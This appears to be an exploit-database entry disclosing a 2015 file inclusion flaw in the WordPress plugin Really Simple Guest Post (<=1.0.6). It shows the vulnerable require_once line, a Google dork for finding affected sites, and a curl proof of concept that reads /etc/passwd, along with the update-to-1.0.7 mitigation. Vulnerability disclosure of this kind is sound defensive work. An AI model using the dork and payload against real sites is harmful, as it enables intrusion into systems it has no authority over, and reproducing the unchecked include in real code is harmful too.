header-logo
Suggest Exploit
vendor:
Really Simple Guest Post
by:
Kuroi'SH
7.5
CVSS
HIGH
File Include
98
CWE
Product Name: Really Simple Guest Post
Affected Version From: <=1.0.6
Affected Version To: N/A
Patch Exists: YES
Related CWE: N/A
CPE: a:wordpress:really_simple_guest_post
Metasploit: N/A
Other Scripts: N/A
Tags: N/A
CVSS Metrics: N/A
Nuclei References: N/A
Nuclei Metadata: N/A
Platforms Tested: Linux
2015

WordPress Really Simple Guest Post File Include

The vulnerable file is called simple-guest-post-submit.php and its full path is /wp-content/plugins/really-simple-guest-post/simple-guest-post-submit.php. The vulnerable code is as follows: (line 8) require_once($_POST["rootpath"]); As you can see, the require_once function includes a data based on user-input without any prior verification. So, an attacker can exploit this flaw and come directly into the url /wp-content/plugins/really-simple-guest-post/simple-guest-post-submit.php and send a post data like: "rootpath=the_file_to_include". Proof of concept: curl -X POST -F "rootpath=/etc/passwd" --url http://localhost/wp-content/plugins/really-simple-guest-post/simple-guest-post-submit.php which will print out the content of /etc/passwd file.

Mitigation:

The user should update the plugin to the latest version (1.0.7) or higher.
Source

Exploit-DB raw data:

# Exploit Title: Wordpress Really Simple Guest Post File Include
# Google Dork: inurl:"really-simple-guest-post" intitle:"index of"
# Date: 04/06/2015
# Exploit Author: Kuroi'SH
# Software Link: https://wordpress.org/plugins/really-simple-guest-post/
# Version: <=1.0.6
# Tested on: Linux

The vulnerable file is called:
simple-guest-post-submit.php and its full path is
/wp-content/plugins/really-simple-guest-post/simple-guest-post-submit.php
The vulnerable code is as follows:
(line 8)
require_once($_POST["rootpath"]);
As you can see, the require_once function includes a data based on
user-input without any prior verification.
So, an attacker can exploit this flaw and come directly into the url
/wp-content/plugins/really-simple-guest-post/simple-guest-post-submit.php
and send a post data like: "rootpath=the_file_to_include"

Proof of concept:
curl -X POST -F "rootpath=/etc/passwd" --url
http://localhost/wp-content/plugins/really-simple-guest-post/simple-guest-post-submit.php
which will print out the content of /etc/passwd file.

Greats to Black Sniper & Moh Ooasiic
by Kuroi'SH